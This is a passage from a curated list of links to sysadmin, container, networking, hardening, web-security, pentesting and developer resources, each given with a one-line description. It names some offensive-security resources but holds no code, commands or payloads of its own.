##### :black_small_square: Labs
<p>
:small_orange_diamond: <a href="https://labs.networkreliability.engineering/"><b>NRE Labs</b></a> - learn automation by doing it. Right now, right here, in your browser.<br>
</p>
##### :black_small_square: Other
<p>
:small_orange_diamond: <a href="https://ee.lbl.gov/"><b>LBNL's Network Research Group</b></a> - home page of the Network Research Group (NRG).<br>
</p>
#### Containers/Orchestration [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: CLI Tools
<p>
:small_orange_diamond: <a href="https://github.com/google/gvisor"><b>gvisor</b></a> - container runtime sandbox.<br>
:small_orange_diamond: <a href="https://github.com/bcicen/ctop"><b>ctop</b></a> - top-like interface for container metrics.<br>
:small_orange_diamond: <a href="https://github.com/docker/docker-bench-security"><b>docker-bench-security</b></a> - is a script that checks for dozens of common best-practices around deploying Docker.<br>
</p>
##### :black_small_square: Web Tools
<p>
:small_orange_diamond: <a href="https://github.com/moby/moby"><b>Moby</b></a> - a collaborative project for the container ecosystem to assemble container-based system.<br>
:small_orange_diamond: <a href="https://traefik.io/"><b>Traefik</b></a> - open source reverse proxy/load balancer provides easier integration with Docker and Let's encrypt.<br>
:small_orange_diamond: <a href="https://github.com/Kong/kong"><b>kong</b></a> - The Cloud-Native API Gateway.<br>
:small_orange_diamond: <a href="https://github.com/rancher/rancher"><b>rancher</b></a> - complete container management platform.<br>
:small_orange_diamond: <a href="https://github.com/portainer/portainer"><b>portainer</b></a> - making Docker management easy.<br>
:small_orange_diamond: <a href="https://github.com/jwilder/nginx-proxy"><b>nginx-proxy</b></a> - automated nginx proxy for Docker containers using docker-gen.<br>
</p>
##### :black_small_square: Manuals/Tutorials/Best Practices
<p>
:small_orange_diamond: <a href="https://github.com/wsargent/docker-cheat-sheet"><b>docker-cheat-sheet</b></a> - a quick reference cheat sheet on Docker.<br>
:small_orange_diamond: <a href="https://github.com/veggiemonk/awesome-docker"><b>awesome-docker</b></a> - a curated list of Docker resources and projects.<br>
:small_orange_diamond: <a href="https://github.com/yeasy/docker_practice"><b>docker_practice</b></a> - learn and understand Docker technologies, with real DevOps practice!<br>
:small_orange_diamond: <a href="https://github.com/docker/labs"><b>labs
</b></a> - is a collection of tutorials for learning how to use Docker with various tools.<br>
:small_orange_diamond: <a href="https://github.com/jessfraz/dockerfiles"><b>dockerfiles</b></a> - various Dockerfiles I use on the desktop and on servers.<br>
:small_orange_diamond: <a href="https://github.com/kelseyhightower/kubernetes-the-hard-way"><b>kubernetes-the-hard-way</b></a> - bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts.<br>
:small_orange_diamond: <a href="https://github.com/jamesward/kubernetes-the-easy-way"><b>kubernetes-the-easy-way</b></a> - bootstrap Kubernetes the easy way on Google Cloud Platform. No scripts.<br>
:small_orange_diamond: <a href="https://github.com/dennyzhang/cheatsheet-kubernetes-A4"><b>cheatsheet-kubernetes-A4</b></a> - Kubernetes CheatSheets in A4.<br>
:small_orange_diamond: <a href="https://github.com/kabachook/k8s-security"><b>k8s-security</b></a> - kubernetes security notes and best practices.<br>
:small_orange_diamond: <a href="https://learnk8s.io/production-best-practices/"><b>kubernetes-production-best-practices</b></a> - checklists with best-practices for production-ready Kubernetes.<br>
:small_orange_diamond: <a href="https://github.com/freach/kubernetes-security-best-practice"><b>kubernetes-production-best-practices</b></a> - kubernetes security - best practice guide.<br>
:small_orange_diamond: <a href="https://github.com/hjacobs/kubernetes-failure-stories"><b>kubernetes-failure-stories</b></a> - is a compilation of public failure/horror stories related to Kubernetes.<br>
</p>
#### Manuals/Howtos/Tutorials [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: Shell/Command line
<p>
:small_orange_diamond: <a href="https://github.com/dylanaraps/pure-bash-bible"><b>pure-bash-bible</b></a> - is a collection of pure bash alternatives to external processes.<br>
:small_orange_diamond: <a href="https://github.com/dylanaraps/pure-sh-bible"><b>pure-sh-bible</b></a> - is a collection of pure POSIX sh alternatives to external processes.<br>
:small_orange_diamond: <a href="https://github.com/Idnan/bash-guide"><b>bash-guide</b></a> - is a guide to learn bash.<br>
:small_orange_diamond: <a href="https://github.com/denysdovhan/bash-handbook"><b>bash-handbook</b></a> - for those who wanna learn Bash.<br>
:small_orange_diamond: <a href="https://wiki.bash-hackers.org/start"><b>The Bash Hackers Wiki</b></a> - hold documentation of any kind about GNU Bash.<br>
:small_orange_diamond: <a href="http://pubs.opengroup.org/onlinepubs/9699919799/utilities/contents.html"><b>Shell & Utilities</b></a> - describes the commands offered to application programs by POSIX-conformant systems.<br>
:small_orange_diamond: <a href="https://github.com/jlevy/the-art-of-command-line"><b>the-art-of-command-line</b></a> - master the command line, in one page.<br>
:small_orange_diamond: <a href="https://google.github.io/styleguide/shellguide.html"><b>Shell Style Guide</b></a> - a shell style guide for Google-originated open-source projects.<br>
</p>
##### :black_small_square: Text Editors
<p>
:small_orange_diamond: <a href="https://vim.rtorr.com/"><b>Vim Cheat Sheet</b></a> - great multi language vim guide.<br>
</p>
##### :black_small_square: Python
<p>
:small_orange_diamond: <a href="https://awesome-python.com/"><b>Awesome Python</b></a> - a curated list of awesome Python frameworks, libraries, software and resources.<br>
:small_orange_diamond: <a href="https://github.com/gto76/python-cheatsheet"><b>python-cheatsheet</b></a> - comprehensive Python cheatsheet.<br>
:small_orange_diamond: <a href="https://www.pythoncheatsheet.org/"><b>pythoncheatsheet.org</b></a> - basic reference for beginner and advanced developers.<br>
</p>
##### :black_small_square: Sed & Awk & Other
<p>
:small_orange_diamond: <a href="https://posts.specterops.io/fawk-yeah-advanced-sed-and-awk-usage-parsing-for-pentesters-3-e5727e11a8ad?gi=c8f9506b26b6"><b>F’Awk Yeah!</b></a> - advanced sed and awk usage (Parsing for Pentesters 3).<br>
</p>
##### :black_small_square: \*nix & Network
<p>
:small_orange_diamond: <a href="https://www.cyberciti.biz/"><b>nixCraft</b></a> - linux and unix tutorials for new and seasoned sysadmin.<br>
:small_orange_diamond: <a href="https://www.tecmint.com/"><b>TecMint</b></a> - the ideal Linux blog for Sysadmins & Geeks.<br>
:small_orange_diamond: <a href="http://www.omnisecu.com/index.php"><b>Omnisecu</b></a> - free Networking, System Administration and Security tutorials.<br>
:small_orange_diamond: <a href="https://github.com/cirosantilli/linux-cheat"><b>linux-cheat</b></a> - Linux tutorials and cheatsheets. Minimal examples. Mostly user-land CLI utilities.<br>
:small_orange_diamond: <a href="https://github.com/snori74/linuxupskillchallenge"><b>linuxupskillchallenge</b></a> - learn the skills required to sysadmin.<br>
:small_orange_diamond: <a href="http://cb.vu/unixtoolbox.xhtml"><b>Unix Toolbox</b></a> - Unix/Linux/BSD commands and tasks which are useful for IT work or for advanced users.<br>
:small_orange_diamond: <a href="https://linux-kernel-labs.github.io/refs/heads/master/index.html"><b>Linux Kernel Teaching</b></a> - is a collection of lectures and labs Linux kernel topics.<br>
:small_orange_diamond: <a href="https://peteris.rocks/blog/htop/"><b>htop explained</b></a> - explanation of everything you can see in htop/top on Linux.<br>
:small_orange_diamond: <a href="https://linuxguideandhints.com/"><b>Linux Guide and Hints</b></a> - tutorials on system administration in Fedora and CentOS.<br>
:small_orange_diamond: <a href="https://github.com/NanXiao/strace-little-book"><b>strace-little-book</b></a> - a little book which introduces strace.<br>
:small_orange_diamond: <a href="https://github.com/goldshtn/linux-tracing-workshop"><b>linux-tracing-workshop</b></a> - examples and hands-on labs for Linux tracing tools workshops.<br>
:small_orange_diamond: <a href="https://github.com/bagder/http2-explained"><b>http2-explained</b></a> - a detailed document explaining and documenting HTTP/2.<br>
:small_orange_diamond: <a href="https://github.com/bagder/http3-explained"><b>http3-explained</b></a> - a document describing the HTTP/3 and QUIC protocols.<br>
:small_orange_diamond: <a href="https://www.manning.com/books/http2-in-action"><b>HTTP/2 in Action</b></a> - an excellent introduction to the new HTTP/2 standard.<br>
:small_orange_diamond: <a href="https://www.saminiir.com/lets-code-tcp-ip-stack-1-ethernet-arp/"><b>Let's code a TCP/IP stack</b></a> - great stuff to learn network and system programming at a deeper level.<br>
:small_orange_diamond: <a href="https://github.com/trimstray/nginx-admins-handbook"><b>Nginx Admin's Handbook</b></a> - describes how to improve NGINX performance, security and other important things.<br>
:small_orange_diamond: <a href="https://github.com/digitalocean/nginxconfig.io"><b>nginxconfig.io</b></a> - NGINX config generator on steroids.<br>
:small_orange_diamond: <a href="https://infosec.mozilla.org/guidelines/openssh"><b>openssh guideline</b></a> - is to help operational teams with the configuration of OpenSSH server and client.<br>
:small_orange_diamond: <a href="https://gravitational.com/blog/ssh-handshake-explained/"><b>SSH Handshake Explained</b></a> - is a relatively brief description of the SSH handshake.<br>
:small_orange_diamond: <a href="https://kb.isc.org/docs/using-this-knowledgebase"><b>ISC's Knowledgebase</b></a> - you'll find some general information about BIND 9, ISC DHCP, and Kea DHCP.<br>
:small_orange_diamond: <a href="https://packetlife.net/"><b>PacketLife.net</b></a> - a place to record notes while studying for Cisco's CCNP certification.<br>
</p>
##### :black_small_square: Microsoft
<p>
:small_orange_diamond: <a href="https://github.com/infosecn1nja/AD-Attack-Defense"><b>AD-Attack-Defense</b></a> - attack and defend active directory using modern post exploitation activity.<br>
</p>
##### :black_small_square: Large-scale systems
<p>
:small_orange_diamond: <a href="https://github.com/donnemartin/system-design-primer"><b>The System Design Primer</b></a> - learn how to design large-scale systems.<br>
:small_orange_diamond: <a href="https://github.com/binhnguyennus/awesome-scalability"><b>Awesome Scalability</b></a> - best practices in building High Scalability, High Availability, High Stability, and more.<br>
:small_orange_diamond: <a href="https://engineering.videoblocks.com/web-architecture-101-a3224e126947?gi=a896808d22a"><b>Web Architecture 101</b></a> - the basic architecture concepts.<br>
</p>
##### :black_small_square: System hardening
<p>
:small_orange_diamond: <a href="https://www.cisecurity.org/cis-benchmarks/"><b>CIS Benchmarks</b></a> - secure configuration settings for over 100 technologies, available as a free PDF.<br>
:small_orange_diamond: <a href="https://highon.coffee/blog/security-harden-centos-7/"><b>Security Harden CentOS 7</b></a> - this walks you through the steps required to security harden CentOS.<br>
:small_orange_diamond: <a href="https://www.lisenet.com/2017/centos-7-server-hardening-guide/"><b>CentOS 7 Server Hardening Guide</b></a> - great guide for hardening CentOS; familiar with OpenSCAP.<br>
:small_orange_diamond: <a href="https://github.com/decalage2/awesome-security-hardening"><b>awesome-security-hardening</b></a> - is a collection of security hardening guides, tools and other resources.<br>
:small_orange_diamond: <a href="https://github.com/trimstray/the-practical-linux-hardening-guide"><b>The Practical Linux Hardening Guide</b></a> - provides a high-level overview of hardening GNU/Linux systems.<br>
</p>
##### :black_small_square: Security & Privacy
<p>
:small_orange_diamond: <a href="https://www.hackingarticles.in/"><b>Hacking Articles</b></a> - LRaj Chandel's Security & Hacking Blog.<br>
:small_orange_diamond: <a href="https://github.com/toniblyx/my-arsenal-of-aws-security-tools"><b>AWS security tools</b></a> - make your AWS cloud environment more secure.<br>
:small_orange_diamond: <a href="https://inventory.rawsec.ml/index.html"><b>Rawsec's CyberSecurity Inventory</b></a> - an inventory of tools and resources about CyberSecurity.<br>
:small_orange_diamond: <a href="https://tls.ulfheim.net/"><b>The Illustrated TLS Connection</b></a> - every byte of a TLS connection explained and reproduced.<br>
:small_orange_diamond: <a href="https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices"><b>SSL Research</b></a> - SSL and TLS Deployment Best Practices by SSL Labs.<br>
:small_orange_diamond: <a href="http://selinuxgame.org/index.html"><b>SELinux Game</b></a> - learn SELinux by doing. Solve Puzzles, show skillz.<br>
:small_orange_diamond: <a href="https://smallstep.com/blog/everything-pki.html"><b>Certificates and PKI</b></a> - everything you should know about certificates and PKI but are too afraid to ask.<br>
:small_orange_diamond: <a href="https://appsecco.com/books/subdomain-enumeration/"><b>The Art of Subdomain Enumeration</b></a> - a reference for subdomain enumeration techniques.<br>
:small_orange_diamond: <a href="https://lifehacker.com/the-comprehensive-guide-to-quitting-google-1830001964"><b>Quitting Google</b></a> - the comprehensive guide to quitting Google.<br>
</p>
##### :black_small_square: Web Apps
<p>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/Main_Page"><b>OWASP</b></a> - worldwide not-for-profit charitable organization focused on improving the security of software.<br>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project"><b>OWASP ASVS 3.0.1</b></a> - OWASP Application Security Verification Standard Project.<br>
:small_orange_diamond: <a href="https://github.com/Santandersecurityresearch/asvs"><b>OWASP ASVS 3.0.1 Web App</b></a> - simple web app that helps developers understand the ASVS requirements.<br>
:small_orange_diamond: <a href="https://github.com/OWASP/ASVS/tree/master/4.0"><b>OWASP ASVS 4.0</b></a> - is a list of application security requirements or tests.<br>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Testing_Project"><b>OWASP Testing Guide v4</b></a> - includes a "best practice" penetration testing framework.<br>
:small_orange_diamond: <a href="https://github.com/OWASP/DevGuide"><b>OWASP Dev Guide</b></a> - this is the development version of the OWASP Developer Guide.<br>
:small_orange_diamond: <a href="https://github.com/OWASP/wstg"><b>OWASP WSTG</b></a> - is a comprehensive open source guide to testing the security of web apps.<br>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_API_Security_Project"><b>OWASP API Security Project</b></a> - focuses specifically on the top ten vulnerabilities in API security.<br>
:small_orange_diamond: <a href="https://infosec.mozilla.org/guidelines/web_security.html"><b>Mozilla Web Security</b></a> - help operational teams with creating secure web applications.<br>
:small_orange_diamond: <a href="https://github.com/Netflix/security-bulletins"><b>security-bulletins</b></a> - security bulletins that relate to Netflix Open Source.<br>
:small_orange_diamond: <a href="https://github.com/shieldfy/API-Security-Checklist"><b>API-Security-Checklist</b></a> - security countermeasures when designing, testing, and releasing your API.<br>
:small_orange_diamond: <a href="https://enable-cors.org/index.html"><b>Enable CORS</b></a> - enable cross-origin resource sharing.<br>
:small_orange_diamond: <a href="https://appsecwiki.com/#/"><b>Application Security Wiki</b></a> - is an initiative to provide all application security related resources at one place.<br>
:small_orange_diamond: <a href="https://github.com/GrrrDog/weird_proxies/wiki"><b>Weird Proxies</b></a> - reverse proxy related attacks; it is a result of analysis of various proxies.<br>
:small_orange_diamond: <a href="https://dfir.it/blog/2015/08/12/webshell-every-time-the-same-purpose/"><b>Webshells</b></a> - great series about malicious payloads.<br>
:small_orange_diamond: <a href="https://portswigger.net/blog/practical-web-cache-poisoning"><b>Practical Web Cache Poisoning</b></a> - show you how to compromise websites by using esoteric web features.<br>
:small_orange_diamond: <a href="https://github.com/bl4de/research/tree/master/hidden_directories_leaks"><b>Hidden directories and files</b></a> - as a source of sensitive information about web application.<br>
:small_orange_diamond: <a href="https://bo0om.ru/en/"><b>Explosive blog</b></a> - great blog about cybersec and pentests.<br>
:small_orange_diamond: <a href="https://www.netsparker.com/security-cookies-whitepaper/"><b>Security Cookies</b></a> - this paper will take a close look at cookie security.<br>
:small_orange_diamond: <a href="https://github.com/GitGuardian/APISecurityBestPractices"><b>APISecurityBestPractices</b></a> - help you keep secrets (API keys, db credentials, certificates) out of source code.<br>
</p>
##### :black_small_square: All-in-one
<p>
:small_orange_diamond: <a href="https://lzone.de/cheat-sheet/"><b>LZone Cheat Sheets</b></a> - all cheat sheets.<br>
:small_orange_diamond: <a href="https://github.com/rstacruz/cheatsheets"><b>Dan’s Cheat Sheets’s</b></a> - massive cheat sheets documentation.<br>
:small_orange_diamond: <a href="https://devhints.io/"><b>Rico's cheatsheets</b></a> - this is a modest collection of cheatsheets.<br>
:small_orange_diamond: <a href="https://devdocs.io/"><b>DevDocs API</b></a> - combines multiple API documentations in a fast, organized, and searchable interface.<br>
:small_orange_diamond: <a href="https://cheat.sh/"><b>cheat.sh</b></a> - the only cheat sheet you need.<br>
</p>
##### :black_small_square: Other
<p>
:small_orange_diamond: <a href="https://bitvijays.github.io/LFC-VulnerableMachines.html"><b>CTF Series : Vulnerable Machines</b></a> - the steps below could be followed to find vulnerabilities and exploits.<br>
:small_orange_diamond: <a href="https://github.com/manoelt/50M_CTF_Writeup"><b>50M_CTF_Writeup</b></a> - $50 million CTF from Hackerone - writeup.<br>
:small_orange_diamond: <a href="https://github.com/j00ru/ctf-tasks"><b>ctf-tasks</b></a> - an archive of low-level CTF challenges developed over the years.<br>
:small_orange_diamond: <a href="https://hshrzd.wordpress.com/how-to-start/"><b>How to start RE/malware analysis?</b></a> - collection of some hints and useful links for the beginners.<br>
:small_orange_diamond: <a href="http://www.kegel.com/c10k.html"><b>The C10K problem</b></a> - it's time for web servers to handle ten thousand clients simultaneously, don't you think?<br>
:small_orange_diamond: <a href="https://blog.benjojo.co.uk/post/why-is-ethernet-mtu-1500"><b>How 1500 bytes became the MTU of the internet</b></a> - great story about the Maximum Transmission Unit.<br>
:small_orange_diamond: <a href="http://poormansprofiler.org/"><b>poor man's profiler</b></a> - like dtrace's don't really provide methods to see what programs are blocking on.<br>
:small_orange_diamond: <a href="https://nickcraver.com/blog/2017/05/22/https-on-stack-overflow/"><b>HTTPS on Stack Overflow</b></a> - this is the story of a long journey regarding the implementation of SSL.<br>
:small_orange_diamond: <a href="https://drawings.jvns.ca/"><b>Julia's Drawings</b></a> - some drawings about programming and unix world, zines about systems & debugging tools.<br>
:small_orange_diamond: <a href="https://github.com/corkami/collisions"><b>Hash collisions</b></a> - this great repository is focused on hash collisions exploitation.<br>
:small_orange_diamond: <a href="https://github.com/in3rsha/sha256-animation"><b>sha256-animation</b></a> - animation of the SHA-256 hash function in your terminal.<br>
:small_orange_diamond: <a href="https://labs.ripe.net/Members/cteusche/bgp-meets-cat"><b>BGP Meets Cat</b></a> - after 3072 hours of manipulating BGP, Job Snijders has succeeded in drawing a Nyancat.<br>
:small_orange_diamond: <a href="https://github.com/benjojo/bgp-battleships"><b>bgp-battleships</b></a> - playing battleships over BGP.<br>
:small_orange_diamond: <a href="https://github.com/alex/what-happens-when"><b>What happens when...</b></a> - you type google.com into your browser and press enter?<br>
:small_orange_diamond: <a href="https://github.com/vasanthk/how-web-works"><b>how-web-works</b></a> - based on the 'What happens when...' repository.<br>
:small_orange_diamond: <a href="https://robertheaton.com/2018/11/28/https-in-the-real-world/"><b>HTTPS in the real world</b></a> - great tutorial explain how HTTPS works in the real world.<br>
:small_orange_diamond: <a href="https://about.gitlab.com/2018/11/14/how-we-spent-two-weeks-hunting-an-nfs-bug/"><b>Gitlab and NFS bug</b></a> - how we spent two weeks hunting an NFS bug in the Linux kernel.<br>
:small_orange_diamond: <a href="https://about.gitlab.com/2017/02/10/postmortem-of-database-outage-of-january-31/"><b>Gitlab melts down</b></a> - postmortem on the database outage of January 31 2017 with the lessons we learned.<br>
:small_orange_diamond: <a href="http://www.catb.org/esr/faqs/hacker-howto.html"><b>How To Become A Hacker</b></a> - if you want to be a hacker, keep reading.<br>
:small_orange_diamond: <a href="http://ithare.com/infographics-operation-costs-in-cpu-clock-cycles/"><b>Operation Costs in CPU</b></a> - should help to estimate costs of certain operations in CPU clocks.<br>
:small_orange_diamond: <a href="https://cstack.github.io/db_tutorial/"><b>Let's Build a Simple Database</b></a> - writing a sqlite clone from scratch in C.<br>
:small_orange_diamond: <a href="https://djhworld.github.io/post/2019/05/21/i-dont-know-how-cpus-work-so-i-simulated-one-in-code/"><b>simple-computer</b></a> - great resource to understand how computers work under the hood.<br>
:small_orange_diamond: <a href="https://www.troyhunt.com/working-with-154-million-records-on/"><b>The story of "Have I been pwned?"</b></a> - working with 154 million records on Azure Table Storage.<br>
:small_orange_diamond: <a href="https://www.top500.org/"><b>TOP500 Supercomputers</b></a> - shows the 500 most powerful commercially available computer systems known to us.<br>
:small_orange_diamond: <a href="https://www.shellntel.com/blog/2017/2/8/how-to-build-a-8-gpu-password-cracker"><b>How to build a 8 GPU password cracker</b></a> - any "black magic" or hours of frustration like desktop components do.<br>
:small_orange_diamond: <a href="https://home.cern/science/computing"><b>CERN Data Centre</b></a> - 3D visualizations of the CERN computing environments (and more).<br>
:small_orange_diamond: <a href="http://howfuckedismydatabase.com/"><b>How fucked is my database</b></a> - evaluate how fucked your database is with this handy website.<br>
:small_orange_diamond: <a href="https://krisbuytaert.be/blog/linux-troubleshooting-101-2016-edition/index.html"><b>Linux Troubleshooting 101 , 2016 Edition</b></a> - everything is a DNS Problem...<br>
:small_orange_diamond: <a href="https://open.buffer.com/5-whys-process/"><b>Five Whys</b></a> - you know what the problem is, but you cannot solve it?<br>
:small_orange_diamond: <a href="https://gvnshtn.com/maersk-me-notpetya/"><b>Maersk, me & notPetya</b></a> - how did ransomware successfully hijack hundreds of domain controllers?<br>
:small_orange_diamond: <a href="https://howhttps.works/"><b>howhttps.works</b></a> - how HTTPS works ...in a comic!<br>
:small_orange_diamond: <a href="https://howdns.works/"><b>howdns.works</b></a> - a fun and colorful explanation of how DNS works.<br>
:small_orange_diamond: <a href="https://postgresqlco.nf/en/doc/param/"><b>POSTGRESQLCO.NF</b></a> - your postgresql.conf documentation and recommendations.<br>
</p>
#### Inspiring Lists [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: SysOps/DevOps
<p>
:small_orange_diamond: <a href="https://github.com/kahun/awesome-sysadmin"><b>Awesome Sysadmin</b></a> - amazingly awesome open source sysadmin resources.<br>
:small_orange_diamond: <a href="https://github.com/alebcay/awesome-shell"><b>Awesome Shell</b></a> - awesome command-line frameworks, toolkits, guides and gizmos.<br>
:small_orange_diamond: <a href="https://github.com/learnbyexample/Command-line-text-processing"><b>Command-line-text-processing</b></a> - finding text to search and replace, sorting to beautifying, and more.<br>
:small_orange_diamond: <a href="https://github.com/caesar0301/awesome-pcaptools"><b>Awesome Pcaptools</b></a> - collection of tools developed by other researchers to process network traces.<br>
:small_orange_diamond: <a href="https://github.com/zoidbergwill/awesome-ebpf"><b>awesome-ebpf</b></a> - a curated list of awesome projects related to eBPF.<br>
:small_orange_diamond: <a href="https://github.com/leandromoreira/linux-network-performance-parameters"><b>Linux Network Performance</b></a> - where some of the network sysctl variables fit into the Linux/Kernel network flow.<br>
:small_orange_diamond: <a href="https://github.com/dhamaniasad/awesome-postgres"><b>Awesome Postgres</b></a> - list of awesome PostgreSQL software, libraries, tools and resources.<br>
:small_orange_diamond: <a href="https://github.com/enochtangg/quick-SQL-cheatsheet"><b>quick-SQL-cheatsheet</b></a> - a quick reminder of all SQL queries and examples on how to use them.<br>
:small_orange_diamond: <a href="https://github.com/Kickball/awesome-selfhosted"><b>Awesome-Selfhosted</b></a> - list of Free Software network services and web applications which can be hosted locally.<br>
:small_orange_diamond: <a href="https://wiki.archlinux.org/index.php/List_of_applications"><b>List of applications</b></a> - huge list of apps sorted by category, as a reference for those looking for packages.<br>
:small_orange_diamond: <a href="https://github.com/InterviewMap/CS-Interview-Knowledge-Map"><b>CS-Interview-Knowledge-Map</b></a> - build the best interview map.<br>
:small_orange_diamond: <a href="https://github.com/Tikam02/DevOps-Guide"><b>DevOps-Guide</b></a> - DevOps Guide from basic to advanced with Interview Questions and Notes.<br>
:small_orange_diamond: <a href="https://issue.freebsdfoundation.org/publication/?m=33057&l=1&view=issuelistBrowser"><b>FreeBSD Journal</b></a> - it is a great list of periodical magazines about FreeBSD and other important things.<br>
:small_orange_diamond: <a href="https://github.com/bregman-arie/devops-interview-questions"><b>devops-interview-questions</b></a> - contains interview questions on various DevOps and SRE related topics.<br></p>
##### :black_small_square: Developers
<p>
:small_orange_diamond: <a href="https://github.com/kamranahmedse/developer-roadmap"><b>Web Developer Roadmap</b></a> - roadmaps, articles and resources to help you choose your path, learn and improve.<br>
:small_orange_diamond: <a href="https://github.com/thedaviddias/Front-End-Checklist"><b>Front-End-Checklist</b></a> - the perfect Front-End Checklist for modern websites and meticulous developers.<br>
:small_orange_diamond: <a href="https://github.com/thedaviddias/Front-End-Performance-Checklist"><b>Front-End-Performance-Checklist</b></a> - the only Front-End Performance Checklist that runs faster than the others.<br>
:small_orange_diamond: <a href="https://rszalski.github.io/magicmethods/"><b>Python's Magic Methods</b></a> - what are magic methods? They're everything in object-oriented Python.<br>
:small_orange_diamond: <a href="https://github.com/satwikkansal/wtfpython"><b>wtfpython</b></a> - a collection of surprising Python snippets and lesser-known features.<br>
:small_orange_diamond: <a href="https://github.com/twhite96/js-dev-reads"><b>js-dev-reads</b></a> - a list of books and articles for the discerning web developer to read.<br>
:small_orange_diamond: <a href="https://github.com/RomuloOliveira/commit-messages-guide"><b>Commit messages guide</b></a> - a guide to understand the importance of commit messages.<br>
</p>
##### :black_small_square: Security/Pentesting
<p>
:small_orange_diamond: <a href="https://github.com/qazbnm456/awesome-web-security"><b>Awesome Web Security</b></a> - a curated list of Web Security materials and resources.<br>
:small_orange_diamond: <a href="https://github.com/joe-shenouda/awesome-cyber-skills"><b>awesome-cyber-skills</b></a> - a curated list of hacking environments where you can train your cyber skills.<br>
:small_orange_diamond: <a href="https://github.com/devsecops/awesome-devsecops"><b>awesome-devsecops</b></a> - an authoritative list of awesome devsecops tools.<br>
:small_orange_diamond: <a href="https://github.com/jivoi/awesome-osint"><b>awesome-osint</b></a> - is a curated list of amazingly awesome OSINT.<br>
:small_orange_diamond: <a href="https://github.com/hslatman/awesome-threat-intelligence"><b>awesome-threat-intelligence</b></a> - a curated list of Awesome Threat Intelligence resources.<br>
:small_orange_diamond: <a href="https://github.com/infosecn1nja/Red-Teaming-Toolkit"><b>Red-Teaming-Toolkit</b></a> - a collection of open source and commercial tools that aid in red team operations.<br>
:small_orange_diamond: <a href="https://github.com/snoopysecurity/awesome-burp-extensions"><b>awesome-burp-extensions</b></a> - a curated list of amazingly awesome Burp Extensions.<br>
:small_orange_diamond: <a href="https://github.com/Hack-with-Github/Free-Security-eBooks"><b>Free Security eBooks</b></a> - list of a Free Security and Hacking eBooks.<br>
:small_orange_diamond: <a href="https://github.com/yeahhub/Hacking-Security-Ebooks"><b>Hacking-Security-Ebooks</b></a> - top 100 Hacking & Security E-Books.<br>
:small_orange_diamond: <a href="https://github.com/nikitavoloboev/privacy-respecting"><b>privacy-respecting</b></a> - curated list of privacy respecting services and software.<br>
:small_orange_diamond: <a href="https://github.com/wtsxDev/reverse-engineering"><b>reverse-engineering</b></a> - list of awesome reverse engineering resources.<br>
:small_orange_diamond: <a href="https://github.com/michalmalik/linux-re-101"><b>linux-re-101</b></a> - a collection of resources for linux reverse engineering.<br>
:small_orange_diamond: <a href="https://github.com/onethawt/reverseengineering-reading-list"><b>reverseengineering-reading-list</b></a> - a list of Reverse Engineering articles, books, and papers.<br>
:small_orange_diamond: <a href="https://github.com/0xInfection/Awesome-WAF"><b>Awesome-WAF</b></a> - a curated list of awesome web-app firewall (WAF) stuff.<br>
:small_orange_diamond: <a href="https://github.com/jakejarvis/awesome-shodan-queries"><b>awesome-shodan-queries</b></a> - interesting, funny, and depressing search queries to plug into shodan.io.<br>
:small_orange_diamond: <a href="https://github.com/danielmiessler/RobotsDisallowed"><b>RobotsDisallowed</b></a> - a curated list of the most common and most interesting robots.txt disallowed directories.<br>
:small_orange_diamond: <a href="https://github.com/Kayzaks/HackingNeuralNetworks"><b>HackingNeuralNetworks</b></a> - is a small course on exploiting and defending neural networks.<br>
:small_orange_diamond: <a href="https://gist.github.com/joepie91/7e5cad8c0726fd6a5e90360a754fc568"><b>wildcard-certificates</b></a> - why you probably shouldn't use a wildcard certificate.<br>
:small_orange_diamond: <a href="https://gist.github.com/joepie91/5a9909939e6ce7d09e29"><b>Don't use VPN services</b></a> - which is what every third-party "VPN provider" does.<br>
:small_orange_diamond: <a href="https://github.com/InQuest/awesome-yara"><b>awesome-yara</b></a> - a curated list of awesome YARA rules, tools, and people.<br>
:small_orange_diamond: <a href="https://github.com/drduh/macOS-Security-and-Privacy-Guide"><b>macOS-Security-and-Privacy-Guide</b></a> - guide to securing and improving privacy on macOS.<br>
:small_orange_diamond: <a href="https://github.com/PaulSec/awesome-sec-talks"><b>awesome-sec-talks</b></a> - is a collected list of awesome security talks.<br>
:small_orange_diamond: <a href="https://github.com/k4m4/movies-for-hackers"><b>Movies for Hackers</b></a> - list of movies every hacker & cyberpunk must watch.<br>
</p>
##### :black_small_square: Other
<p>
:small_orange_diamond: <a href="https://www.cheatography.com/"><b>Cheatography</b></a> - over 3,000 free cheat sheets, revision aids and quick references.<br>
:small_orange_diamond: <a href="https://github.com/mre/awesome-static-analysis"><b>awesome-static-analysis</b></a> - static analysis tools for all programming languages.<br>
:small_orange_diamond: <a href="https://github.com/ossu/computer-science"><b>computer-science</b></a> - path to a free self-taught education in Computer Science.<br>
:small_orange_diamond: <a href="https://github.com/danluu/post-mortems"><b>post-mortems</b></a> - is a collection of postmortems (config errors, hardware failures, and more).<br>
:small_orange_diamond: <a href="https://github.com/danistefanovic/build-your-own-x"><b>build-your-own-x</b></a> - build your own (insert technology here).<br>
:small_orange_diamond: <a href="https://github.com/rby90/Project-Based-Tutorials-in-C"><b>Project-Based-Tutorials-in-C</b></a> - is a curated list of project-based tutorials in C.<br>
:small_orange_diamond: <a href="https://github.com/kylelobo/The-Documentation-Compendium"><b>The-Documentation-Compendium</b></a> - various README templates & tips on writing high-quality documentation.<br>
:small_orange_diamond: <a href="https://github.com/mahmoud/awesome-python-applications"><b>awesome-python-applications</b></a> - free software that works great, and also happens to be open-source Python.<br>
:small_orange_diamond: <a href="https://github.com/awesomedata/awesome-public-datasets"><b>awesome-public-datasets</b></a> - a topic-centric list of HQ open datasets.<br>
:small_orange_diamond: <a href="https://github.com/Sahith02/machine-learning-algorithms"><b>machine-learning-algorithms</b></a> - a curated list of all machine learning algorithms and concepts.<br>
</p>
#### Blogs/Podcasts/Videos [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: SysOps/DevOps
<p>
